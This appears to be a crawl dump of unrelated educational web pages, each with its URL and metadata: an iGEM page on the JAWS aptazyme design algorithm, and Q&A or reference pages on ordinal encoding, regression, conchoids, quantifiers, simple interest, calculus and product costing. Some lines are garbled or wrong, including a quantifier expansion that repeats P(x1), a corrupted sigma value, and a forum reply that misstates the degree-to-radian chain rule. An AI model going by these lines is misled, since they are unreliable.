"Figure 3: The base pairing constraints ensure that chosen structures have the potential to fold into both an active and an inactive structre.\n\nThe base-pairing constraints of the JAWS algorithm are twofold: Firstly to ensure the existence of the active state, secondly to enforce the dominance of the inactive state, to remove background activity.\n\nTo generalize the design process of aptazymes we consider an aptamer inserted into a stem of the ribozyme of interest, adding a region of randomized nucleotides functioning as communication module. We constrain the active state of such an aptazyme to be such, that the aptamer is not bound by the rest of the structure, and all randomized nucleotides form a symmetric stem consistent with the consensus secondary structure of the native ribozyme. We constrain an inactive state to be such, that a part of the aptamer with a length of $N$ nucleotides forms a stem with the randomized nucleotides, and a portion of randomized nucleotides with length $N$. Hereafter, we shall call $N$ the shift of the communication module. By defining our communication module by a consensus structure, a length and a shift, we specify a constraint, checking for the existence of the active state consensus structure as well as the inactive structure, with a tolerance of $M$ wrong base pairs. We do so by inspection of the matrix of all base pair probabilities $P_{ij}$, yielded from the partition function $Z$ calculated for our sequence. We then discard all sequences not satisfying this constraint. Of the remaining sequences, only those that satisfy the constraint of the ensemble free energy difference between active and inactive state being less then the aptamer's interaction energy $\\Delta{G_{Apt}}$ are retained. Using this approach, we arrive at functional communication modules for nucleic acids completely unrelated to the hammerhead ribozyme. In detail, the algorithm proceeds as follows:\n\nSecondary structure prediction is performed using a partition function based approach using ViennaRNA Lorenz, which then allows for the extraction of the nucleic acid's partition function $Z=\\Sigma_{I}e^{-\\beta{G_{I}}}$, with $I$ an index enumerating all potential base pairs, loops and stacks, and $G_{I}$ the corresponding Gibbs free energy. This in turn allows for the construction of the probability matrix $P_{I}=\\frac{e^{-\\beta{G_{I}}}}{Z}$ consisting of the base pair probabilities $P_{ij}=\\frac{e^{-\\beta{G_{ij}}}}{Z}: i,j\\in{{Bases}}$. The matrix $P_{ij}$ will be the basis of our calculations. To construct a communication module, we use the following steps:\n\n1. Given the position of a region $\\mathcal{R}\\subset{Sequence}$ comprising $2\\cdot{N}+A$ bases, which should surround the aptamer $\\mathcal{A}$ with length $A$, construct an active conformation. Henceforth, we shall refer to $N$ as the stem length and to the active conformation as conformation $\\mathcal{I}$. This conformation is such, that the aptamer does not participate in base-pairing interactions with the rest of the functional nucleic acid. Furthermore, all $2\\cdot{N}$ nucleotides of the region $\\mathcal{R}\\diagdown{\\mathcal{A}}$ should participate in base pairing interactions, forming a stem of length $N$.\n2. Given $R$, $N$ and a shift $S$, construct an inactive conformation, consisting of the first $N$ bases in $R$ pairing with the bases $N+A-S$ to $2\\cdot{N}+A-S$. This conformation has a stem displaced by $S$ nucleotides from the active conformation, disturbing ribozyme activity. The inactive conformation shall be refered to as conformation $\\mathcal{II}$.\n3. Generate a sequence $\\mathcal{S}$, with all nucleotides in $\\mathcal{R}\\diagdown\\mathcal{A}$ randomised.\n4. Compute the partition function $Z$ of $\\mathcal{S}$ and the base pair probability matrix $P_{ij}$ at $\\theta{ = 37°C}$. Check, if base pairs conforming to conformation $\\mathcal{I}$ exist. This is true iff $P_{ij}\\gt{P_{threshold}} \\forall{(i,j)\\in{\\mathcal{I}}}$. If it is true, accept the sequence and move on to the next step. Else, return to step 3.\n5. Using the base pair probability matrix $P_{ij}$, check if base pairs conforming to $\\mathcal{II}$ exits. This is true iff $P_{ij}\\gt{P_{threshold}} \\forall{(i,j)\\in{\\mathcal{II}}}$. Requiring simultaneous conformity to $\\mathcal{I}$ and $\\mathcal{II}$ ensures that the structure is bistable, with local minima of free energy coinciding with the active and inactive structures, respectively. If this is true, accept this sequence, otherwise discard this sequence and return to step 3.\n6. Compute the ensemble free energies $\\Delta{G_{\\mathcal{I}}}, \\Delta{G_{\\mathcal{II}}}$ for the conformations $\\mathcal{I}$ and $\\mathcal{II}$ respectively. Check if $\\Delta{G_{\\mathcal{I}}}\\lt{E_{threshold}} \\wedge \\Delta{G_{\\mathcal{II}}}\\lt{E_{threshold}}$. This ensures that the secondary structures are stable and do not unravel easily at 37°C.\n7. Compute the difference in ensemble free energies $\\Delta{G} = \\Delta{G_{\\mathcal{I}}} - \\Delta{G_{\\mathcal{II}}}$ and constrain it to be smaller in its absolute value than a threshold $\\Delta{E_{threshold}}$. This ensures that the bistability of the structure is given, and the structure switches conformation upon ligand binding.\n8. If all of the above apply, accept the sequence as a candidate sequence for the aptazyme. Else return to step 3.\n\nIn terms of the optimisation of $N$ and $S$ it is sufficient to run one simulation with relaxed constraints and evaluate the two dimensional histogram of points $(S,N)$ to find the region in $S,N$ space with the highest amount of candidates generated. This should correspond to the optimal stem length and shift for the aptamer ribozyme combination to be considered.\n\nResults\n\nOur implementation of the algorithm, termed JAWS (Joining Aptamers Without SELEX), was done in Python using the ViennaRNA library and its Python bindings. JAWS, as well as its documentation, is freely available as Open Source on our GitHub repository. We used JAWS to create functional DNA and RNA constructs exhibiting switching behavior. Thus, we constructed variants of the SpinachII fluorescent aptamer, which were shown to be switchable in real time by the presence or absence of ATP to a fluorescent and non-fluorescent state, respectively, using an aptamer from Sazani2004. Both variants outperformed a combination of previously published components (BBa_K1614012)Sazani2004, as they exhibited a wider dynamic range and stronger contrast between their active and inactive state. Furthermore, experimental evidence corresponded well to computational predictions, as candidate 2 (BBa_K1614015), predicted to have a more stable secondary structure, also exhibited slightly less background, better switching and a clearer spectrum than candidate 1 (BBa_K1614014). In addition, we created ligand switchable versions of the F8 DNAzyme Wang2014, which were designed to cleave in the presence of ampicillin, an oligonucleotide, ketamine, or p53. Their activity was confirmed in optimal buffer as well as in a more realistic setting for on-site detection of small molecule contamination in beverages (specifically in energy drinks spiked with carbenicillin). Finally, JAWS successfully computed switchable HRP mimicking DNAzymes for rapid characterisation of aptamers generated by MAWS, our aptamer designing tool. The switchable DNAzymes indeed showed increased activity in the presence of their respective ligands. There we observed, that different stem strength, as predicted by the software, using both free energy $\\Delta{G}$ and an entropy like distanceKullback1951 $S[P_{ij},\\frac{1}{L}]=-\\Sigma_{ij}P_{ij}\\cdot{log(LP_{ij})}$, where lower energy and entropy indicates greater stem strength possessed less background activity as well as a higher dynamic range, whereas weak stems possessed higher background and a lower dynamic range.\n\nDiscussion\n\nJAWS workflow",
null,
"Figure 4: Predict-test-optimize cycle applied to JAWS.\n\nExperimental data were crucial to the final design of JAWS, as they enabled us to make optimization of predicted aptazymes with respect to dynamic range and kinetics possible.\n\nFollowing the results from the switchable HRP assays, we implemented an additional constraint regulating the stem strength of our candidates. Namely, at each step enforce that $S[P_{ij}]=\\Sigma_{ij}P_{ij}\\cdot{log({P_{ij}}\\cdot{L})}$ be inside an interval of entropies$[S_{0},S_{1}]$. This ensures at least in silico, that the DNAzymes generated possess a certain stem strength, and thus a specified dynamic range and kinetic behaviour. Furthermore, the process of generating ligand gated, bistable structures is easily expandable to switching structures which are not simple stems. This is already implemented in our software, as the constraint regarding the existence of basepairs conforming to a stem can actually process any given secondary structure. Even so, we are currently limited to simulating DNAs and RNAs without any consideration of pseudoknots. This would be crucial for even more efficient aptazyme design, as many ribozymes feature extensive tertiary interactions to promote their activity. Again, this could be bypassed by adding additional terms to the partition function $Z$, corresponding to inter-loop interactions, which would allow for additional constraints stabilizing or destabilizing tertiary interactions in the presence or absence of ligands. That said, we expanded upon existing computational concepts, generalizing them to all functional nucleic acids and developed an extensible, modular, and universal constraint based system, allowing for the design of tailor-made ligand gated nucleic acids, fit to any specific problem."
]
| [
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"https://static.igem.org/mediawiki/2015/d/dc/Heidelberg_media_banner_jaws.svg",
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"https://static.igem.org/mediawiki/2015/6/6b/Jaws_illustrated.svg",
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"https://static.igem.org/mediawiki/2015/4/44/Jaws_flowchart.svg",
null,
"https://static.igem.org/mediawiki/2015/f/f3/Constraints.svg",
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"https://static.igem.org/mediawiki/2015/8/83/Heidelberg_circular_design.png",
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https://datascience.stackexchange.com/questions/37133/when-should-ordinal-data-be-represented-catigorically-and-when-as-integer | [
"When should ordinal data be represented catigorically and when as integer?\n\nI am doing the Kaggle competition House Prices: Advanced Regression Techniques to learn more about data analysis. I would like to apply multiple models to the data(Regularized LR, Random Forests, Neural Networks, and ensemble methods).\n\nWhen inspecting the data, I found many fields were ordinal data represented as categorical data. Two examples:\n\nHeatingQC: Heating quality and condition\n\nEx Excellent\nGd Good\nTA Average/Typical\nFa Fair\nPo Poor\nLotShape: General shape of property\n\nReg Regular\nIR1 Slightly irregular\nIR2 Moderately Irregular\nIR3 Irregular\n\nI was wondering whether I should keep the fields like this, or whether I should turn encode them as integers(i.e. give each class in the category a number like 1,2,3 or 4) . Since the question probably is 'it depends', I hope you could give me some more general insight in when I should keep this data ordinal, or when to transform it into integers.\n\nYou shouldn't keep it like this any way. One option is one-hot encode, but since your variables are ordinals, there's no point in one-hot encoding, you can just transform them into natural numbers.\n\nOne-hot encoding will increase numbers of independent variables significantly, that's why one-hot will be worse for your model. But your variables are clear ordinals, because they have clear order for all the values.\n\nSo, it this case transforming into natural numbers is the best option.\n\nAll machine learning algorithm operates only on numerical dependent variables.\n\nOrdinal dependent variable could be either implicitly treated as nominal by R 'factor' or Py Panda 'categorical' or you will need to convert/encode them into nominal. Refer to \"encoding categorical data\" section in https://www.datacamp.com/community/tutorials/categorical-data\n\nLike you've said, it depends! For example Trees can handle text-based categorial features, you dont have to convert them to numerical variables.\n\nIf you are using an Algorithm which uses statistical measures, e.g. chi2 test, it will cause problems if you encoded categorial values to numerical ones. I would recommend you to use a one-hot enconding, which generates binary vectors for each category instance.\n\nConsider looking at Likert-scales. These are exactly the type of ordinal scales that you give in your examples. It is a common assumption that these are quantified as integer numbers, and the assumption is widely accepted as valid.\n\nHowever, one should be cautious, in particular when working with statistical data descriptors, which are dependent on the topology of the domain space (i.e. whether it is categorical, ordinal or interval). This is illustrated by this article."
]
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https://plainmath.net/28138/using-daily-temperature-readings-chicagos-international-airport-entire | [
"",
null,
"# Using the daily high and low temperature readings at Chicago's O'Hare International Airport for an entire year",
null,
"Globokim8 2021-09-24 Answered\nUsing the daily high and low temperature readings at Chicago's O'Hare International Airport for an entire year, a meteorologist made a scatterplot relating y = high temperature to x = low temperature, both in degrees Fahrenheit. After verifying that the conditions for the regression model were met, the meteorologist calculated the equation of the population regression line to be μy=16.6+1.02x with σ=6.6+∘F. If the meteorologist used a random sample of 10 days to calculate the regression line instead of using all the days in the year, would the slope of the sample regression line be exactly 1.02? Explain your answer.\n\n• Questions are typically answered in as fast as 30 minutes\n\n### Plainmath recommends\n\n• Get a detailed answer even on the hardest topics.\n• Ask an expert for a step-by-step guidance to learn to do it yourself.",
null,
"yagombyeR\nNo, because the slope of the population regression line is 1.02 and we expect the slope of the sample regression line to be close 1.02 (but not exactly 1.02) as there is some sampling variability in a sample."
]
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null,
"https://plainmath.net/qa-theme/BTMath/images/search.png",
null,
"https://plainmath.net/",
null,
"https://plainmath.net/",
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]
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https://www.encyclopediaofmath.org/index.php?title=Conchoid&oldid=18606 | [
"# Conchoid\n\n(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)\nThe planar curve obtained by increasing or decreasing the position vector of each point of a given planar curve by a segment of constant length",
null,
". If the equation of the given curve is",
null,
"in polar coordinates, then the equation of its conchoid has the form:",
null,
". Examples: the conchoid of a straight line is called the Nicomedes conchoid; the conchoid of a circle is called the Pascal limaçon."
]
| [
null,
"https://www.encyclopediaofmath.org/legacyimages/c/c024/c024420/c0244201.png",
null,
"https://www.encyclopediaofmath.org/legacyimages/c/c024/c024420/c0244202.png",
null,
"https://www.encyclopediaofmath.org/legacyimages/c/c024/c024420/c0244203.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.82258624,"math_prob":0.9936178,"size":961,"snap":"2020-10-2020-16","text_gpt3_token_len":244,"char_repetition_ratio":0.1431557,"word_repetition_ratio":0.031007752,"special_character_ratio":0.22164412,"punctuation_ratio":0.18131869,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9790347,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-24T23:04:08Z\",\"WARC-Record-ID\":\"<urn:uuid:86133fcf-ca7c-4b96-b908-3255a43976a1>\",\"Content-Length\":\"15256\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2d230df3-7125-4752-ae8a-7b5a14d598d2>\",\"WARC-Concurrent-To\":\"<urn:uuid:77eb25db-2016-4c0c-9cef-20f08c92699c>\",\"WARC-IP-Address\":\"80.242.138.72\",\"WARC-Target-URI\":\"https://www.encyclopediaofmath.org/index.php?title=Conchoid&oldid=18606\",\"WARC-Payload-Digest\":\"sha1:2CUAN3XUIKKDVHTGX27656LSLWEQ5PSH\",\"WARC-Block-Digest\":\"sha1:AGL6EFR3HPWRECZ2HETVWP6NVNHLTI4B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145989.45_warc_CC-MAIN-20200224224431-20200225014431-00274.warc.gz\"}"} |
https://www.techtud.com/chapter/12161/12168/11651 | [
"##### Predicates and quantifiers\n\nQuantifiers:\n∀x P(x) ≡ P(x1) ∧ P(x1) ∧ P(x1) ∧ P(x1) ∧.....P(xn)\n∃x P(x) ≡ P(x1) ∨ P(x1) ∨ P(x1) ∨ P(x1) ∨.....P(xn)\n\n Statement When True ? When False ? ∀x P(x) P(x) is true for every x There is an x for which P(x) is false ∃x P(x) There is an x for which P(x) is true. P(x) is false for every x\n\nUniqueness quantifier\n\n∃! x P(x) ≡ There exists a unique x such that P(x) is true.\nDe Morgan's Laws for Quantifiers:\n¬∃x P(x) = ∀x ¬P(x)\n¬∀x P(x) = ∃x ¬P(x)\nQuantifications of two variables:",
null,
""
]
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"https://www.techtud.com/sites/default/files/public/user_files/tud6911/sse.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.59874094,"math_prob":0.9990675,"size":522,"snap":"2020-34-2020-40","text_gpt3_token_len":217,"char_repetition_ratio":0.1969112,"word_repetition_ratio":0.121212125,"special_character_ratio":0.36206895,"punctuation_ratio":0.14503817,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.999913,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-11T00:41:56Z\",\"WARC-Record-ID\":\"<urn:uuid:6af3e286-5061-4194-ac67-3a3ae5499d24>\",\"Content-Length\":\"110117\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2de7f68e-a541-4c6d-b933-5233dceb196c>\",\"WARC-Concurrent-To\":\"<urn:uuid:0677a73a-5ce5-48aa-984c-9c3c32029b75>\",\"WARC-IP-Address\":\"172.67.193.128\",\"WARC-Target-URI\":\"https://www.techtud.com/chapter/12161/12168/11651\",\"WARC-Payload-Digest\":\"sha1:MWEEF4EURDBLTQQTBPOTAOZMFAEB7RLU\",\"WARC-Block-Digest\":\"sha1:4AFMIV3KOOEAZGFBPMDMEVH5A7GGP23Z\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439738723.55_warc_CC-MAIN-20200810235513-20200811025513-00329.warc.gz\"}"} |
http://www.calculatenow.biz/business/simpleinterest.html | [
"",
null,
"calculate now THE ONE STOP CALCULATION SHOP\n\nEnquiries: contactATarmidaleDOTinfo\n\n# Calculating Simple Interest\n\n Simple Interest is the easiest interest rate to calculate and is therefore used most as an approximation for compound interest, or for low key interest scenarios. This page helps you calculate the earnings made during a simple interest investment using calculations based on deposits, rates and time.\n\nComplete the data entry form below and calculate your projected savings.\n\nTo investigate Compound Interest.\n\nSimple Interest Calculator"
]
| [
null,
"http://www.calculatenow.biz/images/calculatenow2.png",
null
]
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https://www.jiskha.com/questions/148992/use-the-graph-of-the-given-function-to-find-any-relative-maxima-and-relative-minima-f-x | [
"# college algebra\n\nUse the graph of the given function to find any relative maxima and relative minima.\n\nf(x) = x^3 - 3x^2 + 1\n\n1. 👍\n2. 👎\n3. 👁\n4. ℹ️\n5. 🚩\n1. You will have to draw your own graph. The first derivative tells you that will be relative maxima or minima at x=0 and x=2. x=0 is a relative maximum and x=2 is a relative minimum\n\n1. 👍\n2. 👎\n3. ℹ️\n4. 🚩\n\n## Similar Questions\n\n1. ### differentiability\n\nIf g is a differentiable function such that g(x) is less than 0 for all real numbers x and if f prime of x equals (x2-4)*g(x), which of the following is true? A. f has a relative maximum at x=-2 and a relative minimum at x=2, B. f\n\n2. ### calc\n\nlet f be function given by f(x)= Ln(x)/x for all x> 0. the dervative of f is given by f'(x)= (1 - Ln(x))/x squared. a) write equation for the line tangent to the graph of f at x=e squared b) Find the x-coordinate of the critical\n\n3. ### calculus\n\nIf the graph of f \" (x) is continuous and has a relative maximum at x = c, which of the following must be true? The graph of f has an x-intercept at x = c. The graph of f has an inflection point at x = c. The graph of f has a\n\n4. ### Math\n\nIf the graph of f ′(x) is continuous and decreasing with an x-intercept at x = c, which of the following must be true? The graph of f has a relative maximum at x = c. The graph of f has an inflection point at x = c. The graph of\n\n1. ### calculus\n\nIf a function f is continuous for all x and if f has a relative minimum at (-1,4) and a relative minimum at (-3,2), which of the following statements must be true? (a) The graph of f has a point of inflection somewhere between x =\n\nCan someone check my answers: 1) Use geometry to evaluate 6 int 2 (x) dx where f(x) = { |x|, -2\n\n3. ### Calculus AB\n\nFind a, b, c, and d such that the cubic function ax^3 + bx^2 + cx + d satisfies the given conditions Relative maximum: (2,4) Relative minimum: (4,2) Inflection point: (3,3) So this is what I have so far: f'(x) = 3a^2 + 2bx + c\n\n4. ### Calculus\n\nFind the values of x that give relative extrema for the function f(x)=3x^5-5x^3 A. Relative maximum: x= 1; Relative minimum: x=sqrt(5/3) B. Relative maximum: x=-1; Relative minimum: x=1 C. Relative maxima: x=+or- 1; Relative\n\n1. ### calculus\n\nI needed help with these FRQ in my APCalc course. Any help or walkthrough would be extremely helpful - thanks in advance. Let f be the function given by f(x)=3ln((x^2)+2)-2x with the domain [-2,4]. (a) Find the coordinate of each\n\n2. ### Calculus\n\nConsider the function f(x)=x^3+ax^2+bx+c that has a relative minimum at x=3 and an inflection point at x=2. a). Determine the constants a and b to make the above information true for this function. b). Find a relative maximum\n\n3. ### Algebra 2\n\nPlease help super confused!!! Which points are the best approximation of the relative maximum and minimum of the function? f(x)=x^3+3x^2-9x-8 a. Relative max is at (3,-13), relative min is at (-3,-19). b. Relative max is at\n\n4. ### Calculus\n\nTrue or False: Consider the following statement: A differentiable function must have a relative minimum between any two relative maxima. Think about the First Derivative Test and decide if the statement is true or false. I want to"
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https://mathhelpboards.com/threads/trig-derivatives-general-question.4027/ | [
"# Trig derivatives general question\n\n#### Bmanmcfly\n\n##### Member\nHi, here I come again now with a problem, this time is more because the boo didn't really explain much deeper than the minimum.\nThis time it's not homework related ... Yet. Lol.\n\nI just wanted to know how I would separate an equation like\n$$\\displaystyle y=sin^2x cos3x$$\n\nTo find the derivativ;\nI guess how would I split this up into the chain and product rules / power rules.\n\nI unfortunately forget most of the trig, but without knowing, but while I'm keeping up with that, I need to make sure that I'm at least setting up the problems correctly.\n\nThanks.\n\n#### MarkFL\n\nStaff member\nI would use the product rule, and in the application of that, the power and chain rules as well, so your approach sounds good to me!",
null,
"If you get stuck in this process, feel free to post where you get stuck and one of us will be glad to help.\n\nedit: Just a $\\LaTeX$ and general tip...precede trig (as well as log and other) pre-defined functions with a backslash and enclose arguments in parentheses, i.e.:\n\ny=\\sin^2(x)\\cos(3x) gives you $$\\displaystyle y=\\sin^2(x)\\cos(3x)$$\n\nThe parentheses make it absolutley clear what the arguments are, and the backslash writes the function name without being italicized to differentiate it from a string of variables.\n\n#### Bmanmcfly\n\n##### Member\nI would use the product rule, and in the application of that, the power and chain rules as well, so your approach sounds good to me!",
null,
"If you get stuck in this process, feel free to post where you get stuck and one of us will be glad to help.\n\nedit: Just a $\\LaTeX$ and general tip...precede trig (as well as log and other) pre-defined functions with a backslash and enclose arguments in parentheses, i.e.:\n\ny=\\sin^2(x)\\cos(3x) gives you $$\\displaystyle y=\\sin^2(x)\\cos(3x)$$\n\nThe parentheses make it absolutley clear what the arguments are, and the backslash writes the function name without being italicized to differentiate it from a string of variables.\nFair enough; for this example $$\\displaystyle 2\\sin(x)cos(x)\\cos(3x)+\\sin^2(x)(-\\sin(3x)(3))$$\nIs this a good start?\n\n#### MarkFL\n\nStaff member\nYes, looks good to me. You have observed all of the rules you mentioned and correctly applied them.",
null,
"#### Bmanmcfly\n\n##### Member\nYes, looks good to me. You have observed all of the rules you mentioned and correctly applied them.",
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"Unfortunately, that was the relatively easy part... Albeit oddly confusing on its own, the simplification part is more difficult since I don't really remember much of the trig equivalences.",
null,
"#### MarkFL\n\nStaff member\nI would begin by factoring...do you see any factors common to both terms?\n\n#### Bmanmcfly\n\n##### Member\nI would begin by factoring...do you see any factors common to both terms?\nOk, factoring works, but I was concerned about issues like where $$\\displaystyle \\sin(2x)=2\\sin(x)\\cos(x)$$ or other similar equivalences, but there was nothing relevant and for not I can't really find others that matter...\n\nStarting to think I'm panicking over nothing... Yet.\n\nI would mark this as solved, but I will return to this thread if I need further clarification of concepts... The book I'm using is good, but really made for a classroom setting, so it seems to skimp on the details.\n\n#### MarkFL\n\nStaff member\nYou could factor the $\\sin(x)$ out:\n\n$$\\displaystyle y'=\\sin(x)(2\\cos(x)\\cos(3x)-3\\sin(x)\\sin(3x))$$\n\nand then apply product-to-sum identities as follows:\n\n$$\\displaystyle y'=\\sin(x)\\left(2\\left(\\frac{\\cos(2x)+\\cos(4x)}{2} \\right)-3\\left(\\frac{\\cos(2x)-\\cos(4x)}{2} \\right) \\right)$$\n\nFactor $\\frac{1}{2}$ out:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(2\\left(\\cos(2x)+\\cos(4x) \\right)-3\\left(\\cos(2x)-\\cos(4x) \\right) \\right)$$\n\nDistribute:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(2\\cos(2x)+2\\cos(4x)-3\\cos(2x)+3\\cos(4x) \\right)$$\n\nCollect like terms:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(5\\cos(4x)-\\cos(2x) \\right)$$\n\n#### Bmanmcfly\n\n##### Member\nYou could factor the $\\sin(x)$ out:\n\n$$\\displaystyle y'=\\sin(x)(2\\cos(x)\\cos(3x)-3\\sin(x)\\sin(3x))$$\n\nand then apply product-to-sum identities as follows:\n\n$$\\displaystyle y'=\\sin(x)\\left(2\\left(\\frac{\\cos(2x)+\\cos(4x)}{2} \\right)-3\\left(\\frac{\\cos(2x)-\\cos(4x)}{2} \\right) \\right)$$\n\nFactor $\\frac{1}{2}$ out:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(2\\left(\\cos(2x)+\\cos(4x) \\right)-3\\left(\\cos(2x)-\\cos(4x) \\right) \\right)$$\n\nDistribute:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(2\\cos(2x)+2\\cos(4x)-3\\cos(2x)+3\\cos(4x) \\right)$$\n\nCollect like terms:\n\n$$\\displaystyle y'=\\frac{1}{2}\\sin(x)\\left(5\\cos(4x)-\\cos(2x) \\right)$$\nYouve Figuratively broken my brain for the night.\n\nI hadn't even considered factoring to that extent...\n\nThanks for the help.\n\n#### Prove It\n\n##### Well-known member\nMHB Math Helper\nHi, here I come again now with a problem, this time is more because the boo didn't really explain much deeper than the minimum.\nThis time it's not homework related ... Yet. Lol.\n\nI just wanted to know how I would separate an equation like\n$$\\displaystyle y=sin^2x cos3x$$\n\nTo find the derivativ;\nI guess how would I split this up into the chain and product rules / power rules.\n\nI unfortunately forget most of the trig, but without knowing, but while I'm keeping up with that, I need to make sure that I'm at least setting up the problems correctly.\n\nThanks.\nFinding the derivative of this would be easier to first use a double angle formula to simplify, so that you don't need to use the chain rule as well as the product rule.\n\n\\displaystyle \\displaystyle \\begin{align*} y &= \\sin^2{(x)}\\cos{(3x)} \\\\ y &= \\frac{1}{2}\\left[ 1 - \\cos{(2x)} \\right] \\cos{(3x)} \\\\ \\frac{dy}{dx} &= \\frac{1}{2} \\left\\{ 2\\sin{(2x)} \\cos{(3x)} - 3\\sin{(3x)}\\left[ 1 - \\cos{(2x)} \\right] \\right\\} \\end{align*}\n\n#### Bmanmcfly\n\n##### Member\nNevermind I figured that one out\n\nLast edited:\n\n#### Jameson\n\nStaff member\nThis is a bit of a dumb question, but if the answer I give is in radians, but the problem uses degrees, should I convert the degrees to radians before solving?\nIf you have to plug in angle values that are given to you in degree form then yes you should convert to radians. In this problem and almost all calculus trig problems the rules for differentiating sin(x), cos(x) and all of the others all are for an angle in radians. If you use degrees then the derivatives change. So use radians to find the actual values of sin(a) for angle a. The output of trig functions is a ratio so this part doesn't change with degrees or radians, just the angle you input changes.\n\n#### Bmanmcfly\n\n##### Member\nIf you have to plug in angle values that are given to you in degree form then yes you should convert to radians. In this problem and almost all calculus trig problems the rules for differentiating sin(x), cos(x) and all of the others all are for an angle in radians. If you use degrees then the derivatives change. So use radians to find the actual values of sin(a) for angle a. The output of trig functions is a ratio so this part doesn't change with degrees or radians, just the angle you input changes.\n\nI figured it out by plugging the numbers into a triangle and the result was way off...\n\nBut that raises a question, how do the derivatives change with degrees rather than radians? Although I might come across the answer in the book...\n\nThanks for the help.\n\n#### SuperSonic4\n\n##### Well-known member\nMHB Math Helper\nI figured it out by plugging the numbers into a triangle and the result was way off...\n\nBut that raises a question, how do the derivatives change with degrees rather than radians? Although I might come across the answer in the book...\n\nThanks for the help.\nIt is because you would have to use the chain rule when differentiating. As you probably know 1 radian is equal to $\\frac{180}{\\pi}^o$. Thus if you wanted to find $\\dfrac{d}{dx} \\sin(x^o)$ you'd have to write it as $\\dfrac{d}{dx} \\sin \\left(\\frac{180}{\\pi} \\cdot x \\right)$ which, by the chain rule would be the same as $\\frac{d}{dx} \\sin \\left(\\frac{180}{\\pi} \\cdot x \\right) \\times \\dfrac{d}{dx} \\frac{180}{\\pi} \\cdot x)$\n\nI believe the reason the argument must be in radians is related to the small angle approximation but I'm not 100% sure"
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https://signconsign.com/qa/question-how-do-you-cost-a-product.html | [
"",
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"# Question: How Do You Cost A Product?\n\n## What is per unit cost?\n\nThe cost per unit is commonly derived when a company produces a large number of identical products.\n\nThe cost per unit is derived from the variable costs and fixed costs incurred by a production process, divided by the number of units produced..\n\n## How do you calculate cost per item?\n\nWe divide the price of certain number of units of an item by the number of units to find the unit price of that item. For example, to find the unit price of 12 ounces of soup that costs \\$2.40, divide \\$2.40 by 12 ounces, to get unit price of soup as \\$0.20 per ounce.\n\n## How do you determine how much to sell your product for?\n\nHow to Calculate Selling Price Per UnitDetermine the total cost of all units purchased.Divide the total cost by the number of units purchased to get the cost price.Use the selling price formula to calculate the final price: Selling Price = Cost Price + Profit Margin.\n\n## What is per unit price?\n\nIn retail, unit price is the price for a single unit of measure of a product sold in more or less than the single unit. The “unit price” tells you the cost per pound, quart, or other unit of weight or volume of a food package. It is usually posted on the shelf below the food.\n\n## What type of cost is raw materials?\n\nRaw materials are categorized as direct expenses on a company’s income statement because they contribute directly to the making of a product or delivery of a service. As raw material costs change along with production volumes, they are considered to be variable costs.\n\n## What are examples of product cost?\n\nExamples of Product Costs and Period Costs Examples of product costs are direct materials, direct labor, and allocated factory overhead. Examples of period costs are general and administrative expenses, such as rent, office depreciation, office supplies, and utilities.\n\n## What is the cost per unit called?\n\nAverage cost per unit of production is equal to total cost of production divided by the number of units produced. It is also known as the unit cost. Especially over the long-term, average cost normalizes the cost per unit of production.\n\n## How much should I mark up product?\n\nWhile there is no set “ideal” markup percentage, most businesses set a 50 percent markup. Otherwise known as “keystone”, a 50 percent markup means you are charging a price that’s 50% higher than the cost of the good or service.\n\n## How do you determine product cost?\n\nTotal product costs can be determined by adding together the total direct materials and labor costs as well as the total manufacturing overhead costs. To determine the product cost per unit of product, divide this sum by the number of units manufactured in the period covered by those costs.\n\n## How much profit should I make on a product?\n\nYou may be asking yourself, “what is a good profit margin?” A good margin will vary considerably by industry, but as a general rule of thumb, a 10% net profit margin is considered average, a 20% margin is considered high (or “good”), and a 5% margin is low.\n\n## What is cost of a product?\n\nThe costs involved in creating a product are called Product Costs. These costs include materials, labor, production supplies and factory overhead. The cost of the labor required to deliver a service to a customer is also considered a product cost.\n\n## What are the three types of product costs?\n\nThe three basic categories of product costs are detailed below:Direct material. Direct material costs are the costs of raw materials or parts that go directly into producing products. … Direct labor. Direct labor costs are the wages. … Manufacturing overhead.\n\n## What are the 5 pricing strategies?\n\nFive Good Pricing Strategy Examples And How To Benefit From Them5 pricing strategy examples and how to benefit form them. … Competition-based pricing. … Cost-plus pricing. … Dynamic pricing. … Penetration pricing. … Price skimming.\n\n## What are the 4 types of cost?\n\nFollowing this summary of the different types of costs are some examples of how costs are used in different business applications.Fixed and Variable Costs.Direct and Indirect Costs. … Product and Period Costs. … Other Types of Costs. … Controllable and Uncontrollable Costs— … Out-of-pocket and Sunk Costs—More items…•"
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https://www.worldsrichpeople.com/how-do-you-convert-bitrate-to-baud-rate/ | [
